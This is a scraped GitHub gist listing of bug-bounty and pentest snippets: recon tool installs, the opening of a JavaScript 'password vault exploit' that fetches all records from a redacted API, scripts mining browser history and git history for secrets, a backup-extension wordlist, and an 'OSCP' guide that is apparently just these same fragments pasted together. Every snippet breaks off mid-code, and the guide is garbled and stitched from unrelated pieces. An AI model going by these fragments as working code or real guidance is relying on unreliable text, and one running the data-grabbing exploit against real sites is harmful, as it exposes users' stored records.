shahid1996

## .bash_profile

###
# ▶ go get -u github.com/lc/gau
# ▶ go get -u github.com/tomnomnom/qsreplace
# ▶ go get -u github.com/tomnomnom/hacks/kxss
# ▶ go get -u github.com/hahwul/dalfox
# ▶ git clone https://github.com/dwisiswant0/DSSS
###

gauq() {

## password_vault_exploit.js
//Exploit Code by Shawar Khan

var data_chunks = '';
// Capturing Records from API
fetch('https://redacted.com/api/v3/records/all').then((resp) => resp.text()).then(function(data) {

    // Holds the records in as String
    var allrecords = data;

    // converting response to JSON

## get-firefox-history-top-subdomains.sh
# extract top subdomains from your firefox history
# by @nil0x42

grep -Pao "https://[a-zA-Z0-9.-]+" ~/.mozilla/firefox/*/places.sqlite \
  | sort -u | sed 's#.*://\([a-zA-Z0-9-]*\)\..*#\1#' | uniq -c | sort -rn

## gist:b14aaba233eda7661cbb9c44cb218f99
from pydriller import RepositoryMining
import re
import base64

foundSet = set()
for commit in RepositoryMining('./').traverse_commits():
  for mod in commit.modifications:
    if mod.source_code_before != None:
      regex = re.findall(r"<text encoding=\"base64\">[^>]+</text>", mod.source_code_before)
      for result in regex:

## get-shodan-favicon-hash.py
# https://twitter.com/brsn76945860/status/1171233054951501824
pip install mmh3

-----------------------------
# python 2
import mmh3
import requests

response = requests.get('https://cybersecurity.wtf/favicon.ico')
favicon = response.content.encode('base64')

## params.py
data=['http://google.com?param1=value1',
'https://hello.com?param2=1&param3=3',
'https://hello.com?param1=1&param2=2&param4=4']

final_params=[]
all_prms=[]
for line in data:
	all_prms.append(line.split('?')[1:][0].split('&'))

for line in all_prms:

## extensions_temp_backup.txt
.0
.1
.2
.3
.tar
.tgz
.zip
.tar.gz
.rar
.cache

## firefox.sh
# ------Instructions---------
# cat firefox.sh >> ~/.bashrc
# source ~/.bashrc
# Usage - subf_ff target.tld
#         asset_ff target.tld

subf_ff () {
subfinder -d $1 -silent - t 100 | httprobe -c 50 | sort -u | while read line; do firefox $line; sleep 10; done
}

## params.txt
0
1
11
12
13
14
15
16
17
2

## how-to-oscp-final.md

      
              1 file
            
          
              0 forks
            
          
                0 comments
              
            
              0 stars
            
          
                shahid1996
                / how-to-oscp-final.md
            
            
              Created
              March 2, 2020 13:37
                — forked from unfo/how-to-oscp-final.md
            
          
    How to pass the OSCP


Recon
Find vuln
Exploit
Document it

Recon

Unicornscans in cli, nmap in msfconsole to help store loot in database.

	###
	# ▶ go get -u github.com/lc/gau
	# ▶ go get -u github.com/tomnomnom/qsreplace
	# ▶ go get -u github.com/tomnomnom/hacks/kxss
	# ▶ go get -u github.com/hahwul/dalfox
	# ▶ git clone https://github.com/dwisiswant0/DSSS
	###

	gauq() {
	//Exploit Code by Shawar Khan

	var data_chunks = '';
	// Capturing Records from API
	fetch('https://redacted.com/api/v3/records/all').then((resp) => resp.text()).then(function(data) {

	// Holds the records in as String
	var allrecords = data;

	// converting response to JSON
	# extract top subdomains from your firefox history
	# by @nil0x42

	grep -Pao "https://[a-zA-Z0-9.-]+" ~/.mozilla/firefox/*/places.sqlite \
	\| sort -u \| sed 's#.://\([a-zA-Z0-9-]\)\..*#\1#' \| uniq -c \| sort -rn
	from pydriller import RepositoryMining
	import re
	import base64

	foundSet = set()
	for commit in RepositoryMining('./').traverse_commits():
	for mod in commit.modifications:
	if mod.source_code_before != None:
	regex = re.findall(r"<text encoding=\"base64\">[^>]+</text>", mod.source_code_before)
	for result in regex:
	# https://twitter.com/brsn76945860/status/1171233054951501824
	pip install mmh3

	-----------------------------
	# python 2
	import mmh3
	import requests

	response = requests.get('https://cybersecurity.wtf/favicon.ico')
	favicon = response.content.encode('base64')
	data=['http://google.com?param1=value1',
	'https://hello.com?param2=1&param3=3',
	'https://hello.com?param1=1&param2=2&param4=4']

	final_params=[]
	all_prms=[]
	for line in data:
	all_prms.append(line.split('?')[1:][0].split('&'))

	for line in all_prms:
	# ------Instructions---------
	# cat firefox.sh >> ~/.bashrc
	# source ~/.bashrc
	# Usage - subf_ff target.tld
	# asset_ff target.tld

	subf_ff () {
	subfinder -d $1 -silent - t 100 \| httprobe -c 50 \| sort -u \| while read line; do firefox $line; sleep 10; done
	}